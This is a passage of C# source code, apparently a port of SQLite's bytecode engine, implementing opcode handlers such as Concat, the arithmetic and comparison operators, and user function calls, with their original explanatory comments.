REGISTER_TRACE( p, pOp.p2, pOut );\n#endif\n              break;\n            }\n\n          /* Opcode: SCopy P1 P2 * * *\n          **\n          ** Make a shallow copy of register P1 into register P2.\n          **\n          ** This instruction makes a shallow copy of the value.  If the value\n          ** is a string or blob, then the copy is only a pointer to the\n          ** original and hence if the original changes so will the copy.\n          ** Worse, if the original is deallocated, the copy becomes invalid.\n          ** Thus the program must guarantee that the original will not change\n          ** during the lifetime of the copy.  Use OP_Copy to make a complete\n          ** copy.\n          */\n          case OP_SCopy:\n            {            /* in1 */\n#if SQLITE_DEBUG\n              REGISTER_TRACE( p, pOp.p1, pIn1 );\n#endif\n              Debug.Assert( pOp.p2 > 0 );\n              Debug.Assert( pOp.p2 <= p.nMem );\n              pOut = p.aMem[pOp.p2];\n              Debug.Assert( pOut != pIn1 );\n              sqlite3VdbeMemShallowCopy( pOut, pIn1, MEM_Ephem );\n#if SQLITE_DEBUG\n              REGISTER_TRACE( p, pOp.p2, pOut );\n#endif\n              break;\n            }\n\n          /* Opcode: ResultRow P1 P2 * * *\n          **\n          ** The registers P1 through P1+P2-1 contain a single row of\n          ** results. This opcode causes the sqlite3_step() call to terminate\n          ** with an SQLITE_ROW return code and it sets up the sqlite3_stmt\n          ** structure to provide access to the top P1 values as the result\n          ** row.\n          */\n          case OP_ResultRow:\n            {\n              //Mem[] pMem;\n              int i;\n              Debug.Assert( p.nResColumn == pOp.p2 );\n              Debug.Assert( pOp.p1 > 0 );\n              Debug.Assert( pOp.p1 + pOp.p2 <= p.nMem + 1 );\n\n              /* If the SQLITE_CountRows flag is set in sqlite3.flags mask, then\n              ** DML statements invoke this opcode to return the number of rows\n              ** modified to the user. This is the only way that a VM that\n              ** opens a statement transaction may invoke this opcode.\n              **\n              ** In case this is such a statement, close any statement transaction\n              ** opened by this VM before returning control to the user. This is to\n              ** ensure that statement-transactions are always nested, not overlapping.\n              ** If the open statement-transaction is not closed here, then the user\n              ** may step another VM that opens its own statement transaction. This\n              ** may lead to overlapping statement transactions.\n              **\n              ** The statement transaction is never a top-level transaction.  Hence\n              ** the RELEASE call below can never fail.\n              */\n              Debug.Assert( p.iStatement == 0 || ( db.flags & SQLITE_CountRows ) != 0 );\n              rc = sqlite3VdbeCloseStatement( p, SAVEPOINT_RELEASE );\n              if ( NEVER( rc != SQLITE_OK ) )\n              {\n                break;\n              }\n\n              /* Invalidate all ephemeral cursor row caches */\n              p.cacheCtr = ( p.cacheCtr + 2 ) | 1;\n\n              /* Make sure the results of the current row are \\000 terminated\n              ** and have an assigned type.  The results are de-ephemeralized as\n              ** as side effect.\n              */\n              //pMem = p.pResultSet = p.aMem[pOp.p1];\n              p.pResultSet = new Mem[pOp.p2];\n              for ( i = 0 ; i < pOp.p2 ; i++ )\n              {\n                p.pResultSet[i] = p.aMem[pOp.p1 + i];\n                sqlite3VdbeMemNulTerminate( p.pResultSet[i] ); //sqlite3VdbeMemNulTerminate(pMem[i]);\n                storeTypeInfo( p.pResultSet[i], encoding ); //storeTypeInfo(pMem[i], encoding);\n                REGISTER_TRACE( p, pOp.p1 + i, p.pResultSet[i] );\n              }\n        //      if ( db.mallocFailed != 0 ) goto no_mem;\n\n              /* Return SQLITE_ROW\n              */\n              p.pc = pc + 1;\n              rc = SQLITE_ROW;\n              goto vdbe_return;\n            }\n\n          /* Opcode: Concat P1 P2 P3 * *\n          **\n          ** Add the text in register P1 onto the end of the text in\n          ** register P2 and store the result in register P3.\n          ** If either the P1 or P2 text are NULL then store NULL in P3.\n          **\n          **   P3 = P2 || P1\n          **\n          ** It is illegal for P1 and P3 to be the same register. Sometimes,\n          ** if P3 is the same register as P2, the implementation is able\n          ** to avoid a memcpy().\n          */\n          case OP_Concat:\n            {           /* same as TK_CONCAT, in1, in2, out3 */\n              int nByte;\n\n              Debug.Assert( pIn1 != pOut );\n              if ( ( ( pIn1.flags | pIn2.flags ) & MEM_Null ) != 0 )\n              {\n                sqlite3VdbeMemSetNull( pOut );\n                break;\n              }\n              if ( ExpandBlob( pIn1 ) != 0 || ExpandBlob( pIn2 ) != 0 ) goto no_mem;\n              if ( ( ( pIn1.flags & ( MEM_Str | MEM_Blob ) ) == 0 ) && sqlite3VdbeMemStringify( pIn1, encoding ) != 0 ) { goto no_mem; }// Stringify(pIn1, encoding);\n              if ( ( ( pIn2.flags & ( MEM_Str | MEM_Blob ) ) == 0 ) && sqlite3VdbeMemStringify( pIn2, encoding ) != 0 ) { goto no_mem; }// Stringify(pIn2, encoding);\n              nByte = pIn1.n + pIn2.n;\n              if ( nByte > db.aLimit[SQLITE_LIMIT_LENGTH] )\n              {\n                goto too_big;\n              }\n              MemSetTypeFlag( pOut, MEM_Str );\n              //if ( sqlite3VdbeMemGrow( pOut, (int)nByte + 2, ( pOut == pIn2 ) ? 1 : 0 ) != 0 )\n              //{\n              //  goto no_mem;\n              //}\n              //if ( pOut != pIn2 )\n              //{\n              //  memcpy( pOut.z, pIn2.z, pIn2.n );\n              //}\n              //memcpy( &pOut.z[pIn2.n], pIn1.z, pIn1.n );\n              if ( pIn2.z != null ) pOut.z = pIn2.z.Substring( 0, pIn2.n ) + pIn1.z.Substring( 0, pIn1.n );\n              else\n              {\n                pOut.zBLOB = new byte[pIn1.n + pIn2.n];\n                Buffer.BlockCopy( pIn2.zBLOB, 0, pOut.zBLOB, 0, pIn2.n );\n                Buffer.BlockCopy( pIn1.zBLOB, 0, pOut.zBLOB, pIn2.n, pIn1.n );\n              }              //pOut.z[nByte] = 0;\n              //pOut.z[nByte + 1] = 0;\n              pOut.flags |= MEM_Term;\n              pOut.n = (int)nByte;\n              pOut.enc = encoding;\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pOut );\n#endif\n              break;\n            }\n\n          /* Opcode: Add P1 P2 P3 * *\n          **\n          ** Add the value in register P1 to the value in register P2\n          ** and store the result in register P3.\n          ** If either input is NULL, the result is NULL.\n          */\n          /* Opcode: Multiply P1 P2 P3 * *\n          **\n          **\n          ** Multiply the value in register P1 by the value in register P2\n          ** and store the result in register P3.\n          ** If either input is NULL, the result is NULL.\n          */\n          /* Opcode: Subtract P1 P2 P3 * *\n          **\n          ** Subtract the value in register P1 from the value in register P2\n          ** and store the result in register P3.\n          ** If either input is NULL, the result is NULL.\n          */\n          /* Opcode: Divide P1 P2 P3 * *\n          **\n          ** Divide the value in register P1 by the value in register P2\n          ** and store the result in register P3.  If the value in register P2\n          ** is zero, then the result is NULL.\n          ** If either input is NULL, the result is NULL.\n          */\n          /* Opcode: Remainder P1 P2 P3 * *\n          **\n          ** Compute the remainder after integer division of the value in\n          ** register P1 by the value in register P2 and store the result in P3.\n          ** If the value in register P2 is zero the result is NULL.\n          ** If either operand is NULL, the result is NULL.\n          */\n          case OP_Add:                   /* same as TK_PLUS, in1, in2, out3 */\n          case OP_Subtract:              /* same as TK_MINUS, in1, in2, out3 */\n          case OP_Multiply:              /* same as TK_STAR, in1, in2, out3 */\n          case OP_Divide:                /* same as TK_SLASH, in1, in2, out3 */\n          case OP_Remainder:\n            {           /* same as TK_REM, in1, in2, out3 */\n              int flags;      /* Combined MEM_* flags from both inputs */\n              i64 iA;         /* Integer value of left operand */\n              i64 iB;         /* Integer value of right operand */\n              double rA;      /* Real value of left operand */\n              double rB;      /* Real value of right operand */\n\n              applyNumericAffinity( pIn1 );\n              applyNumericAffinity( pIn2 );\n              flags = pIn1.flags | pIn2.flags;\n              if ( ( flags & MEM_Null ) != 0 ) goto arithmetic_result_is_null;\n              if ( ( pIn1.flags & pIn2.flags & MEM_Int ) == MEM_Int )\n              {\n                iA = pIn1.u.i;\n                iB = pIn2.u.i;\n                switch ( pOp.opcode )\n                {\n                  case OP_Add: iB += iA; break;\n                  case OP_Subtract: iB -= iA; break;\n                  case OP_Multiply: iB *= iA; break;\n                  case OP_Divide:\n                    {\n                      if ( iA == 0 ) goto arithmetic_result_is_null;\n                      /* Dividing the largest possible negative 64-bit integer (1<<63) by\n                      ** -1 returns an integer too large to store in a 64-bit data-type. On\n                      ** some architectures, the value overflows to (1<<63). On others,\n                      ** a SIGFPE is issued. The following statement normalizes this\n                      ** behavior so that all architectures behave as if integer\n                      ** overflow occurred.\n                      */\n                      if ( iA == -1 && iB == SMALLEST_INT64 ) iA = 1;\n                      iB /= iA;\n                      break;\n                    }\n                  default:\n                    {\n                      if ( iA == 0 ) goto arithmetic_result_is_null;\n                      if ( iA == -1 ) iA = 1;\n                      iB %= iA;\n                      break;\n                    }\n                }\n                pOut.u.i = iB;\n                MemSetTypeFlag( pOut, MEM_Int );\n              }\n              else\n              {\n                rA = sqlite3VdbeRealValue( pIn1 );\n                rB = sqlite3VdbeRealValue( pIn2 );\n                switch ( pOp.opcode )\n                {\n                  case OP_Add: rB += rA; break;\n                  case OP_Subtract: rB -= rA; break;\n                  case OP_Multiply: rB *= rA; break;\n                  case OP_Divide:\n                    {\n                      /* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */\n                      if ( rA == (double)0 ) goto arithmetic_result_is_null;\n                      rB /= rA;\n                      break;\n                    }\n                  default:\n                    {\n                      iA = (i64)rA;\n                      iB = (i64)rB;\n                      if ( iA == 0 ) goto arithmetic_result_is_null;\n                      if ( iA == -1 ) iA = 1;\n                      rB = (double)( iB % iA );\n                      break;\n                    }\n                }\n                if ( sqlite3IsNaN( rB ) )\n                {\n                  goto arithmetic_result_is_null;\n                }\n                pOut.r = rB;\n                MemSetTypeFlag( pOut, MEM_Real );\n                if ( ( flags & MEM_Real ) == 0 )\n                {\n                  sqlite3VdbeIntegerAffinity( pOut );\n                }\n              }\n              break;\n\narithmetic_result_is_null:\n              sqlite3VdbeMemSetNull( pOut );\n              break;\n            }\n\n          /* Opcode: CollSeq * * P4\n          **\n          ** P4 is a pointer to a CollSeq struct. If the next call to a user function\n          ** or aggregate calls sqlite3GetFuncCollSeq(), this collation sequence will\n          ** be returned. This is used by the built-in min(), max() and nullif()\n          ** functions.\n          **\n          ** The interface used by the implementation of the aforementioned functions\n          ** to retrieve the collation sequence set by this opcode is not available\n          ** publicly, only to user functions defined in func.c.\n          */\n          case OP_CollSeq:\n            {\n              Debug.Assert( pOp.p4type == P4_COLLSEQ );\n              break;\n            }\n\n          /* Opcode: Function P1 P2 P3 P4 P5\n          **\n          ** Invoke a user function (P4 is a pointer to a Function structure that\n          ** defines the function) with P5 arguments taken from register P2 and\n          ** successors.  The result of the function is stored in register P3.\n          ** Register P3 must not be one of the function inputs.\n          **\n          ** P1 is a 32-bit bitmask indicating whether or not each argument to the\n          ** function was determined to be constant at compile time. If the first\n          ** argument was constant then bit 0 of P1 is set. This is used to determine\n          ** whether meta data associated with a user function argument using the\n          ** sqlite3_set_auxdata() API may be safely retained until the next\n          ** invocation of this opcode.\n          **\n          ** See also: AggStep and AggFinal\n          */\n          case OP_Function:\n            {\n              int i;\n              Mem pArg;\n              sqlite3_context ctx = new sqlite3_context();\n              sqlite3_value[] apVal;\n              int n;\n\n              n = pOp.p5;\n              apVal = p.apArg;\n              Debug.Assert( apVal != null || n == 0 );\n\n              Debug.Assert( n == 0 || ( pOp.p2 > 0 && pOp.p2 + n <= p.nMem + 1 ) );\n              Debug.Assert( pOp.p3 < pOp.p2 || pOp.p3 >= pOp.p2 + n );\n              //pArg = p.aMem[pOp.p2];\n              for ( i = 0 ; i < n ; i++ )//, pArg++)\n              {\n                pArg = p.aMem[pOp.p2 + i];\n                apVal[i] = pArg;\n                storeTypeInfo( pArg, encoding );\n#if SQLITE_DEBUG\n                REGISTER_TRACE( p, pOp.p2, pArg );\n#endif\n              }\n\n              Debug.Assert( pOp.p4type == P4_FUNCDEF || pOp.p4type == P4_VDBEFUNC );\n              if ( pOp.p4type == P4_FUNCDEF )\n              {\n                ctx.pFunc = pOp.p4.pFunc;\n                ctx.pVdbeFunc = null;\n              }\n              else\n              {\n                ctx.pVdbeFunc = (VdbeFunc)pOp.p4.pVdbeFunc;\n                ctx.pFunc = ctx.pVdbeFunc.pFunc;\n              }\n\n              Debug.Assert( pOp.p3 > 0 && pOp.p3 <= p.nMem );\n              pOut = p.aMem[pOp.p3];\n              ctx.s.flags = MEM_Null;\n              ctx.s.db = db;\n              ctx.s.xDel = null;\n              //ctx.s.zMalloc = null;\n\n              /* The output cell may already have a buffer allocated. Move\n              ** the pointer to ctx.s so in case the user-function can use\n              ** the already allocated buffer instead of allocating a new one.\n              */\n              sqlite3VdbeMemMove( ctx.s, pOut );\n              MemSetTypeFlag( ctx.s, MEM_Null );\n\n              ctx.isError = 0;\n              if ( ( ctx.pFunc.flags & SQLITE_FUNC_NEEDCOLL ) != 0 )\n              {\n                Debug.Assert( pc > 1 );//Debug.Assert(pOp > p.aOp);\n                Debug.Assert( p.aOp[pc - 1].p4type == P4_COLLSEQ );//Debug.Assert(pOp[-1].p4type == P4_COLLSEQ);\n                Debug.Assert( p.aOp[pc - 1].opcode == OP_CollSeq );//Debug.Assert(pOp[-1].opcode == OP_CollSeq);\n                ctx.pColl = p.aOp[pc - 1].p4.pColl;//ctx.pColl = pOp[-1].p4.pColl;\n              }\n#if SQLITE_DEBUG\n              if ( sqlite3SafetyOff( db ) )\n              {\n                sqlite3VdbeMemRelease( ctx.s );\n                goto abort_due_to_misuse;\n              }\n#endif\n              ctx.pFunc.xFunc( ctx, n, apVal );\n#if SQLITE_DEBUG\n              if ( sqlite3SafetyOn( db ) ) goto abort_due_to_misuse;\n#endif\n              //if ( db.mallocFailed != 0 )\n              //{\n              //  /* Even though a malloc() has failed, the implementation of the\n              //  ** user function may have called an sqlite3_result_XXX() function\n              //  ** to return a value. The following call releases any resources\n              //  ** associated with such a value.\n              //  **\n              //  ** Note: Maybe MemRelease() should be called if sqlite3SafetyOn()\n              //  ** fails also (the if(...) statement above). But if people are\n              //  ** misusing sqlite, they have bigger problems than a leaked value.\n              //  */\n              //  sqlite3VdbeMemRelease( ctx.s );\n              //  goto no_mem;\n              //}\n\n              /* If any auxillary data functions have been called by this user function,\n              ** immediately call the destructor for any non-static values.\n              */\n              if ( ctx.pVdbeFunc != null )\n              {\n                sqlite3VdbeDeleteAuxData( ctx.pVdbeFunc, pOp.p1 );\n                pOp.p4.pVdbeFunc = ctx.pVdbeFunc;\n                pOp.p4type = P4_VDBEFUNC;\n              }\n\n              /* If the function returned an error, throw an exception */\n              if ( ctx.isError != 0 )\n              {\n                sqlite3SetString( ref p.zErrMsg, db, sqlite3_value_text( ctx.s ) );\n                rc = ctx.isError;\n              }\n\n              /* Copy the result of the function into register P3 */\n              sqlite3VdbeChangeEncoding( ctx.s, encoding );\n              sqlite3VdbeMemMove( pOut, ctx.s );\n              if ( sqlite3VdbeMemTooBig( pOut ) )\n              {\n                goto too_big;\n              }\n#if SQLITE_DEBUG\n              REGISTER_TRACE( p, pOp.p3, pOut );\n#endif\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pOut );\n#endif\n              break;\n            }\n\n          /* Opcode: BitAnd P1 P2 P3 * *\n          **\n          ** Take the bit-wise AND of the values in register P1 and P2 and\n          ** store the result in register P3.\n          ** If either input is NULL, the result is NULL.\n          */\n          /* Opcode: BitOr P1 P2 P3 * *\n          **\n          ** Take the bit-wise OR of the values in register P1 and P2 and\n          ** store the result in register P3.\n          ** If either input is NULL, the result is NULL.\n          */\n          /* Opcode: ShiftLeft P1 P2 P3 * *\n          **\n          ** Shift the integer value in register P2 to the left by the\n          ** number of bits specified by the integer in register P1.\n          ** Store the result in register P3.\n          ** If either input is NULL, the result is NULL.\n          */\n          /* Opcode: ShiftRight P1 P2 P3 * *\n          **\n          ** Shift the integer value in register P2 to the right by the\n          ** number of bits specified by the integer in register P1.\n          ** Store the result in register P3.\n          ** If either input is NULL, the result is NULL.\n          */\n          case OP_BitAnd:                 /* same as TK_BITAND, in1, in2, out3 */\n          case OP_BitOr:                  /* same as TK_BITOR, in1, in2, out3 */\n          case OP_ShiftLeft:              /* same as TK_LSHIFT, in1, in2, out3 */\n          case OP_ShiftRight:\n            {           /* same as TK_RSHIFT, in1, in2, out3 */\n              i64 a;\n              i64 b;\n\n              if ( ( ( pIn1.flags | pIn2.flags ) & MEM_Null ) != 0 )\n              {\n                sqlite3VdbeMemSetNull( pOut );\n                break;\n              }\n              a = sqlite3VdbeIntValue( pIn2 );\n              b = sqlite3VdbeIntValue( pIn1 );\n              switch ( pOp.opcode )\n              {\n                case OP_BitAnd: a &= b; break;\n                case OP_BitOr: a |= b; break;\n                case OP_ShiftLeft: a <<= (int)b; break;\n                default: Debug.Assert( pOp.opcode == OP_ShiftRight );\n                  a >>= (int)b; break;\n              }\n              pOut.u.i = a;\n              MemSetTypeFlag( pOut, MEM_Int );\n              break;\n            }\n\n          /* Opcode: AddImm  P1 P2 * * *\n          **\n          ** Add the constant P2 to the value in register P1.\n          ** The result is always an integer.\n          **\n          ** To force any register to be an integer, just add 0.\n          */\n          case OP_AddImm:\n            {            /* in1 */\n              sqlite3VdbeMemIntegerify( pIn1 );\n              pIn1.u.i += pOp.p2;\n              break;\n            }\n\n          /* Opcode: MustBeInt P1 P2 * * *\n          **\n          ** Force the value in register P1 to be an integer.  If the value\n          ** in P1 is not an integer and cannot be converted into an integer\n          ** without data loss, then jump immediately to P2, or if P2==0\n          ** raise an SQLITE_MISMATCH exception.\n          */\n          case OP_MustBeInt:\n            {            /* jump, in1 */\n              applyAffinity( pIn1, SQLITE_AFF_NUMERIC, encoding );\n              if ( ( pIn1.flags & MEM_Int ) == 0 )\n              {\n                if ( pOp.p2 == 0 )\n                {\n                  rc = SQLITE_MISMATCH;\n                  goto abort_due_to_error;\n                }\n                else\n                {\n                  pc = pOp.p2 - 1;\n                }\n              }\n              else\n              {\n                MemSetTypeFlag( pIn1, MEM_Int );\n              }\n              break;\n            }\n\n          /* Opcode: RealAffinity P1 * * * *\n          **\n          ** If register P1 holds an integer convert it to a real value.\n          **\n          ** This opcode is used when extracting information from a column that\n          ** has REAL affinity.  Such column values may still be stored as\n          ** integers, for space efficiency, but after extraction we want them\n          ** to have only a real value.\n          */\n          case OP_RealAffinity:\n            {                  /* in1 */\n              if ( ( pIn1.flags & MEM_Int ) != 0 )\n              {\n                sqlite3VdbeMemRealify( pIn1 );\n              }\n              break;\n            }\n\n#if !SQLITE_OMIT_CAST\n          /* Opcode: ToText P1 * * * *\n**\n** Force the value in register P1 to be text.\n** If the value is numeric, convert it to a string using the\n** equivalent of printf().  Blob values are unchanged and\n** are afterwards simply interpreted as text.\n**\n** A NULL value is not changed by this routine.  It remains NULL.\n*/\n          case OP_ToText:\n            {                  /* same as TK_TO_TEXT, in1 */\n              if ( ( pIn1.flags & MEM_Null ) != 0 ) break;\n              Debug.Assert( MEM_Str == ( MEM_Blob >> 3 ) );\n              pIn1.flags |= (u16)( ( pIn1.flags & MEM_Blob ) >> 3 );\n              applyAffinity( pIn1, SQLITE_AFF_TEXT, encoding );\n              rc = ExpandBlob( pIn1 );\n              Debug.Assert( ( pIn1.flags & MEM_Str ) != 0 /*|| db.mallocFailed != 0 */ );\n              pIn1.flags = (u16)( pIn1.flags & ~( MEM_Int | MEM_Real | MEM_Blob | MEM_Zero ) );\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pIn1 );\n#endif\n              break;\n            }\n\n          /* Opcode: ToBlob P1 * * * *\n          **\n          ** Force the value in register P1 to be a BLOB.\n          ** If the value is numeric, convert it to a string first.\n          ** Strings are simply reinterpreted as blobs with no change\n          ** to the underlying data.\n          **\n          ** A NULL value is not changed by this routine.  It remains NULL.\n          */\n          case OP_ToBlob:\n            {                  /* same as TK_TO_BLOB, in1 */\n              if ( ( pIn1.flags & MEM_Null ) != 0 ) break;\n              if ( ( pIn1.flags & MEM_Blob ) == 0 )\n              {\n                applyAffinity( pIn1, SQLITE_AFF_TEXT, encoding );\n                Debug.Assert( ( pIn1.flags & MEM_Str ) != 0 /*|| db.mallocFailed != 0 */ );\n                MemSetTypeFlag( pIn1, MEM_Blob );\n              }\n              else\n              {\n                pIn1.flags = (ushort)( pIn1.flags & ~( MEM_TypeMask & ~MEM_Blob ) );\n              }\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pIn1 );\n#endif\n              break;\n            }\n\n          /* Opcode: ToNumeric P1 * * * *\n          **\n          ** Force the value in register P1 to be numeric (either an\n          ** integer or a floating-point number.)\n          ** If the value is text or blob, try to convert it to an using the\n          ** equivalent of atoi() or atof() and store 0 if no such conversion\n          ** is possible.\n          **\n          ** A NULL value is not changed by this routine.  It remains NULL.\n          */\n          case OP_ToNumeric:\n            {                  /* same as TK_TO_NUMERIC, in1 */\n              if ( ( pIn1.flags & ( MEM_Null | MEM_Int | MEM_Real ) ) == 0 )\n              {\n                sqlite3VdbeMemNumerify( pIn1 );\n              }\n              break;\n            }\n#endif // * SQLITE_OMIT_CAST */\n\n          /* Opcode: ToInt P1 * * * *\n**\n** Force the value in register P1 be an integer.  If\n** The value is currently a real number, drop its fractional part.\n** If the value is text or blob, try to convert it to an integer using the\n** equivalent of atoi() and store 0 if no such conversion is possible.\n**\n** A NULL value is not changed by this routine.  It remains NULL.\n*/\n          case OP_ToInt:\n            {                  /* same as TK_TO_INT, in1 */\n              if ( ( pIn1.flags & MEM_Null ) == 0 )\n              {\n                sqlite3VdbeMemIntegerify( pIn1 );\n              }\n              break;\n            }\n\n#if !SQLITE_OMIT_CAST\n          /* Opcode: ToReal P1 * * * *\n**\n** Force the value in register P1 to be a floating point number.\n** If The value is currently an integer, convert it.\n** If the value is text or blob, try to convert it to an integer using the\n** equivalent of atoi() and store 0.0 if no such conversion is possible.\n**\n** A NULL value is not changed by this routine.  It remains NULL.\n*/\n          case OP_ToReal:\n            {                  /* same as TK_TO_REAL, in1 */\n              if ( ( pIn1.flags & MEM_Null ) == 0 )\n              {\n                sqlite3VdbeMemRealify( pIn1 );\n              }\n              break;\n            }\n#endif // * SQLITE_OMIT_CAST */\n\n          /* Opcode: Lt P1 P2 P3 P4 P5\n**\n** Compare the values in register P1 and P3.  If reg(P3)<reg(P1) then\n** jump to address P2.\n**\n** If the SQLITE_JUMPIFNULL bit of P5 is set and either reg(P1) or\n** reg(P3) is NULL then take the jump.  If the SQLITE_JUMPIFNULL\n** bit is clear then fall thru if either operand is NULL.\n**\n** The SQLITE_AFF_MASK portion of P5 must be an affinity character -\n** SQLITE_AFF_TEXT, SQLITE_AFF_INTEGER, and so forth. An attempt is made\n** to coerce both inputs according to this affinity before the\n** comparison is made. If the SQLITE_AFF_MASK is 0x00, then numeric\n** affinity is used. Note that the affinity conversions are stored\n** back into the input registers P1 and P3.  So this opcode can cause\n** persistent changes to registers P1 and P3.\n**\n** Once any conversions have taken place, and neither value is NULL,\n** the values are compared. If both values are blobs then memcmp() is\n** used to determine the results of the comparison.  If both values\n** are text, then the appropriate collating function specified in\n** P4 is  used to do the comparison.  If P4 is not specified then\n** memcmp() is used to compare text string.  If both values are\n** numeric, then a numeric comparison is used. If the two values\n** are of different types, then numbers are considered less than\n** strings and strings are considered less than blobs.\n**\n** If the SQLITE_STOREP2 bit of P5 is set, then do not jump.  Instead,\n** store a boolean result (either 0, or 1, or NULL) in register P2.\n*/\n          /* Opcode: Ne P1 P2 P3 P4 P5\n          **\n          ** This works just like the Lt opcode except that the jump is taken if\n          ** the operands in registers P1 and P3 are not equal.  See the Lt opcode for\n          ** additional information.\n          */\n          /* Opcode: Eq P1 P2 P3 P4 P5\n          **\n          ** This works just like the Lt opcode except that the jump is taken if\n          ** the operands in registers P1 and P3 are equal.\n          ** See the Lt opcode for additional information.\n          */\n          /* Opcode: Le P1 P2 P3 P4 P5\n          **\n          ** This works just like the Lt opcode except that the jump is taken if\n          ** the content of register P3 is less than or equal to the content of\n          ** register P1.  See the Lt opcode for additional information.\n          */\n          /* Opcode: Gt P1 P2 P3 P4 P5\n          **\n          ** This works just like the Lt opcode except that the jump is taken if\n          ** the content of register P3 is greater than the content of\n          ** register P1.  See the Lt opcode for additional information.\n          */\n          /* Opcode: Ge P1 P2 P3 P4 P5\n          **\n          ** This works just like the Lt opcode except that the jump is taken if\n          ** the content of register P3 is greater than or equal to the content of\n          ** register P1.  See the Lt opcode for additional information.\n          */\n          case OP_Eq:               /* same as TK_EQ, jump, in1, in3 */\n          case OP_Ne:               /* same as TK_NE, jump, in1, in3 */\n          case OP_Lt:               /* same as TK_LT, jump, in1, in3 */\n          case OP_Le:               /* same as TK_LE, jump, in1, in3 */\n          case OP_Gt:               /* same as TK_GT, jump, in1, in3 */\n          case OP_Ge:\n            {             /* same as TK_GE, jump, in1, in3 */\n              int flags;\n              int res = 0;\n              char affinity;\n\n              flags = pIn1.flags | pIn3.flags;\n\n              if ( ( flags & MEM_Null ) != 0 )\n              {\n                /* If either operand is NULL then the result is always NULL.\n                ** The jump is taken if the SQLITE_JUMPIFNULL bit is set.\n                */\n                if ( ( pOp.p5 & SQLITE_STOREP2 ) != 0 )\n                {\n                  pOut = p.aMem[pOp.p2];\n                  MemSetTypeFlag( pOut, MEM_Null );\n                  REGISTER_TRACE( p, pOp.p2, pOut );\n                }\n                else if ( ( pOp.p5 & SQLITE_JUMPIFNULL ) != 0 )\n                {\n                  pc = pOp.p2 - 1;\n                }\n                break;\n              }\n\n              affinity = (char)( pOp.p5 & SQLITE_AFF_MASK );\n              if ( affinity != '\\0' )\n              {\n                applyAffinity( pIn1, affinity, encoding );\n                applyAffinity( pIn3, affinity, encoding );\n          //      if ( db.mallocFailed != 0 ) goto no_mem;\n              }\n\n              Debug.Assert( pOp.p4type == P4_COLLSEQ || pOp.p4.pColl == null );\n              ExpandBlob( pIn1 );\n              ExpandBlob( pIn3 );\n              res = sqlite3MemCompare( pIn3, pIn1, pOp.p4.pColl );\n              switch ( pOp.opcode )\n              {\n                case OP_Eq: res = ( res == 0 ) ? 1 : 0; break;\n                case OP_Ne: res = ( res != 0 ) ? 1 : 0; break;\n                case OP_Lt: res = ( res < 0 ) ? 1 : 0; break;\n                case OP_Le: res = ( res <= 0 ) ? 1 : 0; break;\n                case OP_Gt: res = ( res > 0 ) ? 1 : 0; break;\n                default: res = ( res >= 0 ) ? 1 : 0; break;\n              }\n\n              if ( ( pOp.p5 & SQLITE_STOREP2 ) != 0 )\n              {\n                pOut = p.aMem[pOp.p2];\n                MemSetTypeFlag( pOut, MEM_Int );\n                pOut.u.i = res;\n#if SQLITE_DEBUG\n                REGISTER_TRACE( p, pOp.p2, pOut );\n#endif\n              }\n              else if ( res != 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: Permutation * * * P4 *\n          **\n          ** Set the permutation used by the OP_Compare operator to be the array\n          ** of integers in P4.\n          **\n          ** The permutation is only valid until the next OP_Permutation, OP_Compare,\n          ** OP_Halt, or OP_ResultRow.  Typically the OP_Permutation should occur\n          ** immediately prior to the OP_Compare.\n          */\n          case OP_Permutation:\n            {\n              Debug.Assert( pOp.p4type == P4_INTARRAY );\n              Debug.Assert( pOp.p4.ai != null );\n              aPermute = pOp.p4.ai;\n              break;\n            }\n\n          /* Opcode: Compare P1 P2 P3 P4 *\n          **\n          ** Compare to vectors of registers in reg(P1)..reg(P1+P3-1) (all this\n          ** one \"A\") and in reg(P2)..reg(P2+P3-1) (\"B\").  Save the result of\n          ** the comparison for use by the next OP_Jump instruct.\n          **\n          ** P4 is a KeyInfo structure that defines collating sequences and sort\n          ** orders for the comparison.  The permutation applies to registers\n          ** only.  The KeyInfo elements are used sequentially.\n          **\n          ** The comparison is a sort comparison, so NULLs compare equal,\n          ** NULLs are less than numbers, numbers are less than strings,\n          ** and strings are less than blobs.\n          */\n          case OP_Compare:\n            {\n              int n;\n              int i;\n              int p1;\n              int p2;\n              KeyInfo pKeyInfo;\n              int idx;\n              CollSeq pColl;    /* Collating sequence to use on this term */\n              int bRev;          /* True for DESCENDING sort order */\n\n              n = pOp.p3;\n              pKeyInfo = pOp.p4.pKeyInfo;\n              Debug.Assert( n > 0 );\n              Debug.Assert( pKeyInfo != null );\n              p1 = pOp.p1;\n              Debug.Assert( p1 > 0 && p1 + n <= p.nMem + 1 );\n              p2 = pOp.p2;\n              Debug.Assert( p2 > 0 && p2 + n <= p.nMem + 1 );\n              for ( i = 0 ; i < n ; i++ )\n              {\n                idx = aPermute != null ? aPermute[i] : i;\n                REGISTER_TRACE( p, p1 + idx, p.aMem[p1 + idx] );\n                REGISTER_TRACE( p, p2 + idx, p.aMem[p2 + idx] );\n                Debug.Assert( i < pKeyInfo.nField );\n                pColl = pKeyInfo.aColl[i];\n                bRev = pKeyInfo.aSortOrder[i];\n                iCompare = sqlite3MemCompare( p.aMem[p1 + idx], p.aMem[p2 + idx], pColl );\n                if ( iCompare != 0 )\n                {\n                  if ( bRev != 0 ) iCompare = -iCompare;\n                  break;\n                }\n              }\n              aPermute = null;\n              break;\n            }\n\n          /* Opcode: Jump P1 P2 P3 * *\n          **\n          ** Jump to the instruction at address P1, P2, or P3 depending on whether\n          ** in the most recent OP_Compare instruction the P1 vector was less than\n          ** equal to, or greater than the P2 vector, respectively.\n          */\n          case OP_Jump:\n            {             /* jump */\n              if ( iCompare < 0 )\n              {\n                pc = pOp.p1 - 1;\n              }\n              else if ( iCompare == 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              else\n              {\n                pc = pOp.p3 - 1;\n              }\n              break;\n            }\n          /* Opcode: And P1 P2 P3 * *\n          **\n          ** Take the logical AND of the values in registers P1 and P2 and\n          ** write the result into register P3.\n          **\n          ** If either P1 or P2 is 0 (false) then the result is 0 even if\n          ** the other input is NULL.  A NULL and true or two NULLs give\n          ** a NULL output.\n          */\n          /* Opcode: Or P1 P2 P3 * *\n          **\n          ** Take the logical OR of the values in register P1 and 